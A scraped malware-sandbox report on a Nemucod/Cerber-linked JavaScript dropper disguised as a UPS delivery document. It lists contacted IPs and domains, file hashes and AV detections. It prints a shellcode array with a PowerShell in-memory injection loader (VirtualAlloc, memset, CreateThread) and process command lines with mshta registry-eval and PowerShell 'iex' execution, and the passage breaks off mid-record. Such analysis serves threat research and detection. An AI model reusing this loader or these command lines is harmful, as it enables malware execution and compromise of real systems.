<#iv#>0x84 0x89 0x02 0x83 0x45 0x88 0x04 0x83 0x45 0x84 0x04 0x8B <#fh#>0x45 0x88 0x83 0x38 0x00 0x75 0xC1 0x83 <#or#>0x45 0x8C <#zpa#>0x14 0x8B 0x45 0x8C 0x8B 0x78 <#aj#>0x0C 0x85 0xFF 0x0F 0x85 <#fyp#>0x73 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 0x8B 0x40 0x28 0x03 0x45 0xF8 0x89 0x45 0xF4 0x31 0xC0 0x50 0x6A 0x01 0xFF 0x75 0xF8 0xFF 0x55 0xF4 0x6A 0x00 0xFF 0x55 0xA4 0x5F <#ia#>0x5E 0x5B 0x8B 0xE5 0x5D 0xC2 0x04 0x00 0x8D 0x40 0x00 0x73 0x6F 0x66 0x74 0x77 0x61 0x72 0x65 0x5C <#tor#>0x55 0x6B 0x4B 0x38 0x52 0x34 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#fkp#>0x00 0x00 0x00 0x00 0x00 0x00 <#ewe#>0x00 0x00 <#an#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x70 0x66 0x7A 0x31 0x78 0x79 0x44 0x62 0x71 0x67 0x00 0x00 <#qxa#>0x00 0x00 0x00 0x00 0x00 0x53 0xEE 0x89 0x61 0xBB 0xA0 0x31 0xB0 0x5D <#mds#>0x87 0x2D 0x49 <#ta#>0xF9 0x0D 0xC5 0x4F 0xAC 0x84 0x21 0xE3 0xD7 0x1B 0x30 0xB4 0x82 0x25 0x53 0x32 0x4A 0x4C 0x85 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x73 0x00 0x68 0x00 0x65 0x00 0x6C 0x00 0x6C 0x00 0x3C <#pl#>0x00 <#vdq#>0x3C 0x00 0x3A 0x00 0x3A <#sc#>0x00 0x3E 0x00 0x3E 0x00 0x73 0x00 0x68 0x00 0x65 0x00 0x6C 0x00 <#av#>0x6C 0x00 0x62 <#djc#>0x00 0x70 0x00 0x73 0x00 0x3A 0x00 0x3A 0x00 0x62 0x00 0x70 0x00 0x73 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x3A 0x00 0x38 0x00 0x36 0x00 0x34 0x00 0x3A 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x00 0x00 0x00 0x00 <#ib#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#nm#>0x00 0x00 0x00 <#ywi#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x1F 0x00 0x00 0x00 0x00 0xAA 0x06 0x00 0x55 0x8B 0xEC 0x60 0x8B 0x7D 0x08 0x8B 0x75 0x0C 0x8B 0x4D <#oqc#>0x10 0xF3 0xA4 0x61 0x5D 0xC2 0x0C 0x00 0x86 0x5E 0x88 0x53 0xBF 0xB4 0x07 0xE1 0x08 0x10 0xD9 0xCD 0xB6 0xB6 0xEB 0x1E 0xB8 0x09 0x94 0xB8 0x44 0x7B 0xC5 0x3E 0xD3 0xDD 0x7F 0x42 0xF3 0xE5 0xC7 0x16 0xD1 0x56 0xA2 0x7E 0x99 <#ho#>0x4D 0xBF 0x19 0x05 0x84 0xE0 0x47 0xB7 0x86 0x33 0xDC 0x45 0x38 0x15 0xED 0xF5 0x33 0x09 <#ov#>0x75 0xB4 0xBB; #omha $pr=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll VirtualAlloc) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32]) ([UInt32])))).Invoke(0,$sc32.Length,0x3000,0x40); #hbjkh if($pr -ne 0){$memset=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc msvcrt.dll memset) (gdelegate @([UInt32],[UInt32],[UInt32]) ([IntPtr])))); #dthuix for ($i=0;$i -le ($sc32.Length-1);$i++) {$memset.Invoke(($pr+$i) $sc32[$i] 1)}; #wrkbggp ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32],[UInt32],[IntPtr]) ([IntPtr])))).Invoke(0,0,$pr,$pr,0,0); #qltkex }sleep(1200);}catch{}exit; #lwzv #magtengmuoxcpgrckntrjtlzogioqyxc")35:T6a9,Found malicious artifacts related to "77.222.61.227" (ASN: 44112, Owner: SpaceWeb CJSC): ... URL: http://agent812.ru/counter/ (AV positives: 4/65 scanned on 06/13/2017 09:14:05) URL: http://agent812.ru/counter/?ad=1AzNyH1AjS9LKQP85ABD6poGFGA9YxMDh6&id=TRabDRCoeaFv5SzlaDMbHoc9BQh0Icv9fXSRswkTmKlhG_6YR0Vt0gkMYgYC9QNMEuNLne4SccsMWCJWbMHGPzEt&rnd=03 (AV positives: 4/64 scanned on 06/10/2017 09:34:21) URL: http://agent812.ru/counter/?ad=1KvfGQfjVUCjoYcccHhek3BxaYfdqa17P&id=zfGe9xSp_z5vAUoGj9Ke_4LdYopuxVR6ffAJEPGXezHan_79oEGTKG535Pn9ExxXkJpKH28S9UgNaxI&rnd=04 (AV positives: 4/64 scanned on 06/10/2017 09:34:19) URL: http://agent812.ru/counter/?ad=16dzFuL11y2YowkaxyJYQFFfx2YEWHvCYW&id=rW4A9JPQhl1pYazjiTAg-N495o1vxsjkeHSR0zBuHdM85hh_pUSQLg4WheX6ax7UlZ1MGO8RcEoP2aZXWHM&rnd=01 (AV positives: 4/64 scanned on 06/10/2017 09:33:57) URL: http://agent812.ru/counter/?ad=1JVFtfbBGpht5jZRCdUzdX1bWRp23Jem37&id=TWoA9JMwAt9t5Feadckm-D_e4JFtuy_h-PFz1zBuHVY-hn18oqNsKZLphHplF59Uk5hKHOuWcMwI3CBhXA&rnd=03 (AV positives: 4/64 scanned on 06/10/2017 09:33:44) File SHA256: 53efd30f78db378ab468771d4134fb48c8efbecc7abdf3a052507308ca1a233e (AV positives: 8/56 scanned on 10/31/2016 17:13:35) File SHA256: 4faac707d4c49b8bd11555842867b6380ed4a2a31c24e791e6750f54bbbcbe1e (AV positives: 7/57 scanned on 10/20/2016 16:07:02) File SHA256: 389dace81cd5418d3c633f4ce168f1853dab52fab776fba09f400eba1a2855c4 (AV positives: 24/57 scanned on 10/01/2015 07:54:45) File SHA256: 5af48017d62bf3b78b4ced3beb215c2ea3e28be9a3060596b83005c8c15a0d93 (AV positives: 24/57 scanned on 09/26/2015 22:04:28) File SHA256: 961ec00d1f0a6c999609b74cb0120a6aa8191dd126ae0cb53102aef9c93fb863 (AV positives: 2/47 scanned on 01/10/2014 13:52:50)36:T4ec,TCP traffic to 35.140.110.77 on port 8080 TCP traffic to 73.190.44.113 on port 8080 TCP traffic to 145.109.242.105 on port 8080 TCP traffic to 91.252.137.206 on port 8080 TCP traffic to 200.235.245.13 on port 8080 TCP traffic to 105.159.229.204 on port 8080 TCP traffic to 128.123.129.66 on port 8080 TCP traffic to 101.124.201.35 on port 8080 TCP traffic to 173.213.233.149 on port 8080 TCP traffic to 122.229.121.136 on port 8080 TCP traffic to 154.211.223.95 on port 8080 TCP traffic to 151.174.73.223 on port 8080 TCP traffic to 63.15.140.115 on port 8080 TCP traffic to 48.216.56.29 on port 8080 TCP traffic to 193.248.49.126 on port 8080 TCP traffic to 5.145.212.92 on port 8080 TCP traffic to 194.203.66.147 on port 8080 TCP traffic to 77.178.219.131 on port 8080 TCP traffic to 39.58.78.84 on port 8080 TCP traffic to 97.13.68.172 on port 8080 TCP traffic to 8.147.93.226 on port 8080 TCP traffic to 204.248.134.247 on port 8080 TCP traffic to 214.32.249.243 on port 8080 TCP traffic to 33.119.47.194 on port 8080 TCP traffic to 45.253.200.23 on port 8080 TCP traffic to 71.151.196.50 on port 8080 TCP traffic to 145.173.47.34 on port 8080 TCP traffic to 175.139.52.10 on port 8080 TCP traffic to 77.103.172.112 on port 808037:T739,Process "wscript.exe" connected to "166.62.58.18" (Port: 61829, Protocol: TCP) without a DNS lookup Process "wscript.exe" connected to "166.62.58.18" (Port: 61830, Protocol: TCP) without a DNS lookup Process "regsvr32.exe" connected to "185.117.72.90" (Port: 61834, Protocol: TCP) without a DNS lookup Process "regsvr32.exe" connected to "208.16.250.9" (Port: 61835, Protocol: TCP) without a DNS lookup Process "regsvr32.exe" connected to "19.119.61.172" (Port: 61836, Protocol: TCP) without a DNS lookup Process "regsvr32.exe" connected to "39.201.137.8" (Port: 61837, Protocol: TCP) without a DNS lookup Process "regsvr32.exe" connected to "48.217.253.41" (Port: 61838, Protocol: TCP) without a DNS lookup Process "regsvr32.exe" connected to "218.5.151.178" (Port: 61839, Protocol: TCP) without a DNS lookup Process "regsvr32.exe" connected to "157.178.142.134" (Port: 61840, Protocol: TCP) without a DNS lookup Process "regsvr32.exe" connected to "168.54.215.15" (Port: 61841, Protocol: TCP) without a DNS lookup Process "regsvr32.exe" connected to "211.91.73.89" (Port: 61842, Protocol: TCP) without a DNS lookup Process "regsvr32.exe" connected to "214.133.149.73" (Port: 61843, Protocol: TCP) without a DNS lookup Process "regsvr32.exe" connected to "77.133.49.29" (Port: 61844, Protocol: TCP) without a DNS lookup Process "regsvr32.exe" connected to "35.140.110.77" (Port: 61845, Protocol: TCP) without a DNS lookup Process "regsvr32.exe" connected to "53.23.238.53" (Port: 61846, Protocol: TCP) without a DNS lookup Process "regsvr32.exe" connected to "199.16.206.143" (Port: 61847, Protocol: TCP) without a DNS lookup Process "regsvr32.exe" connected to "60.169.124.255" (Port: 61848, Protocol: TCP) without a DNS lookup Process "regsvr32.exe" connected to "204.255.223.49" (Port: 61850, Protocol: TCP) without a DNS lookup38:T67f,Spawned process "wscript.exe" with commandline "%WINDIR%\System32\WScript.exe" "C:\UPS-Delivery-005156577.doc.js" "" (UID: 00039062-00002480) Spawned process "WINWORD.EXE" with commandline "/n "%TEMP%\1FeZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP.doc"" (UID: 00041186-00000376) Spawned process "1FeZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP2.exe" with commandline "%TEMP%\1FeZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP2.exe" "" (UID: 00041427-00003180) Spawned process "mshta.exe" with commandline "%WINDIR%\system32\mshta.exe" javascript:w3F7zpk="NxrxVCeH";c0W=new%20ActiveXObject("WScript.Shell");bNbQi2E="r38XKR";u3SaI=c0W.RegRead("HKCU\\software\\UkK8R4\\FmRSBeM");bRl0FShA="y16";eval(u3SaI);vyQTX5oj="fUbvBcn";"" (UID: 00042754-00003340) Spawned process "powershell.exe" with commandline "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" iex $env:zcddornp"" (UID: 00042872-00003432) Spawned process "1FeZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP.exe" with commandline "%TEMP%\1FeZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP.exe" "%TEMP%\1FeZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP.php" 1FeZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP 0.13066 MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAiLjfVHA1Pd9tdUIRKiSeBGW+zu30Qs8s9KPhq0JniiaLrR6n/YGDI7Jb73v4+149b9OrDb0pRDtEDFt5BAnvuFB12CeV8lsKQ8a0VsW5Ha8GsAxytydEVC40oKoS+4xav90Y4K/JsAgbwdnY9YwKJaGuSsoerYkkNHeYi9dhS0qTmtmkqBTIFBPCe0Gf3kbiAdVWSCSvDba85jRRz+9BcTyIZ5lpkF9GODuLTGdYZmCpSRvLPxEkLJKfpxabndqYyqXz4JxaB72KV7mX+w70iJiKk9qpkK7qb2aaGl8k1vq1rIHg9jgS2LC3aghfIJAudtCx9pJH2bdzmNiLD+WCHQIDAQAB"" (UID: 00043311-00003472) Spawned process "regsvr32.exe" (UID: 00047128-00002084) Spawned process "regsvr32.exe" with commandline "%WINDIR%\system32\regsvr32.exe" (UID: 00047274-00002160)39:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZmZmZmZmZmRERERERERAAG//////////////////QABv///////4j///////iEAAb///////j/////iI//dAAG////////////iIj//3QABv//////////+P////+GAAb//////////////4j/9gAG//////////////+I//cABvj//4Zmb/+ERH/////4AAb4//+GZm//hERv/////wAG+I//dmZo/3ZkT/////+ABviP/2ZmZ/9mZkj/////8Ab4j/9mZmf/ZmZH////hgAG+Ij4ZmZm+GZmZv/4d/QABviI+GZmZodmZmb4d3f2AAb4iPdmhmaGZoZmiHd39gAG+Ij2ZohmZmaGZn93d/YABviIhmb4ZmZm9mZvd3f2AAb/iIZm+GZmZvdmb4iI9gAG/4h2ZvhmZmf4ZmiIiPYABv/4Zm74ZmZo+GZn+Ij2AAb//2Zo+IZmaIZmZviI9gAGj/hmaPiGZm+GZmb4iPYABo/4Zmj4hmZvhmZmf4j2AAZo///4iIiIiIiIiIiI9gAAZ////4iIiIiIiIiIiPYAAAZ4///4iIiIiIiIiIj2AAAAZoj/////////////9gAAAAZmZmZmZmZmZmZmZmYAD/////AAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABgAAAAcAAAAHgAAAB8AAAAQ==3a:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==3b:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABmZmZmZmZmZmZmZgAAAAAAaId3d3d3d4iIiIdgAAAHdmhmZmZmZmZmZmZoZAAAB2ZnZmZmZmZmZmZmZ3YAAAdmZ3ZmiHZniIiHZmaGAAAHZmd2Zv/4eIiIiGZmhgAAB2ZmdmZ4/4eIh3ZmZnYAAAd2ZnZmZo//h2ZmZmZ3YAAHZmaGZmZo//h2ZmZmd2AAB3Zmd2ZmZnj/h2ZmZmhgAAd3dndmZmZuj/+GZmZoYAAHd3dod3dmZuj/9mZmZ2AACHd3aHd3eIiP/4ZmZmd2AAiHd2iIiIiI//iId2ZndgAIiIhoiIiIj//4iIiIiIYACIiId4iIiP//iIiIiIiGAAiIiIaIiI//+IiIiIiIhkAIiIiGiIiP/4iIiIiIiIdgCIiIhoiIj/iIiIiIiIiIYAiIiIeIiIiIiIiIiIiIiGAAiIiIaP///////////4hgAAAAAGZmZmZmZmZmZmZmYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD////////////////gAAAf4AAAD+AAAAfgAAAHAAAABwAAAAcAAAAHAAAAAwAAAAMAAAADAAAAAwAAAAMAAAABAAAAAQAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAP4AAAH//////////////////////////w==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"d167368409c3fa244e17cef06eb83174b03fc0397cb0d907daf30dfdba5e100e","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790269394320,"unified_at":"2026-09-24T17:03:14.320Z","metadata":{"hashes":{"sha256":"d167368409c3fa244e17cef06eb83174b03fc0397cb0d907daf30dfdba5e100e","sha1":"578d73f68a9f345b746fc687d7486711a57d9b0c","md5":"72728672a3ef96cf2b537e4f61313dbb","sha512":"8ae1676cac9a806b461481ef29994719f37c158321f16138d95807ded78694428054d7fc487e83858d4ebf99e9a4fd98a97db9db9066cd1c8d1d35fabdd6a953","ssdeep":"Unknown","imphash":"Unknown"},"file_info":{"file_name":"UPS-Delivery-005156577.doc.js","file_type":["script","javascript"],"file_type_id":"js","file_size":1658,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1499286502000,"last_seen":1677393381000,"last_multi_scan":1677393381000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["evasive","hyteod","ransomware"]},"stats":{"av":{"malicious_count":17,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":0,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":29,"suspicious_count":18,"malicious_count":11,"total":58},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"JS/Obfus.S237","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Generic.ASMalwRG.C4","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"JS/Dldr.Agent.789510","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"JS:Trojan.JS.Downloader.HZQ","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"TrojWare.JS.Nemucod.KA","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cyren":{"name":"Cyren","success":true,"verdict":"malicious","threat_name":"JS/Downldr.HX3.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"JS:Trojan.JS.Downloader.HZQ (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"JS/TrojanDownloader.Nemucod.DFV trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"SVM:TrojanDownloader/JS.Nemucod.o","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan-Downloader.JS.Agent.oam","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"JS/Nemucod.tm","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Script.Heuristic-js.iacgm","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Cerber-ACT","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"JS_NEMU.9802956F","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"JS_NEMU.9802956F","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"JS.Dropper.JQ","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{},"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 14231-10397-00404F95","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"EnumSystemLocalesW@KERNEL32.dll at 14231-8479-0040FBA4\n GetUserDefaultLCID@KERNEL32.dll at 14231-8271-0040E0EF\n GetUserDefaultUILanguage@KERNEL32.dll at 14231-8243-004059A4\n EnumSystemLocalesW@KERNEL32.dll at 14231-8241-0040B8C0\n GetUserDefaultUILanguage@KERNEL32.dll at 14231-8790-00407E85","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"Environment Awareness","name":"Possibly tries to detect the presence of a debugger","description":"GetProcessHeap@KERNEL32.dll at 14231-8304-0040C917","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$27","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ET INFO EXE - Served Attached HTTP\" (SID: 2014520, Rev: 6, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging)\" (SID: 2015744, Rev: 4, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$28","origin":"Registry Access","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$29","origin":"Registry Access","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"goldwingclub.ru\"\n \"amis-spb.ru\"\n \"elita5.md\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"62.109.17.210:80\"\n \"77.222.61.227:80\"\n \"217.26.160.15:80\"\n \"185.117.72.90:80\"\n \"208.16.250.9:443\"\n \"19.119.61.172:80\"\n \"39.201.137.8:443\"\n \"48.217.253.41:443\"\n \"218.5.151.178:80\"\n \"157.178.142.134:443\"\n \"168.54.215.15:80\"\n \"211.91.73.89:80\"\n \"214.133.149.73:80\"\n \"77.133.49.29:80\"\n \"35.140.110.77:8080\"\n \"53.23.238.53:80\"\n \"199.16.206.143:443\"\n \"60.169.124.255:443\"\n \"204.255.223.49:80\"\n \"5.149.228.151:443\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"General","name":"Contains PDB 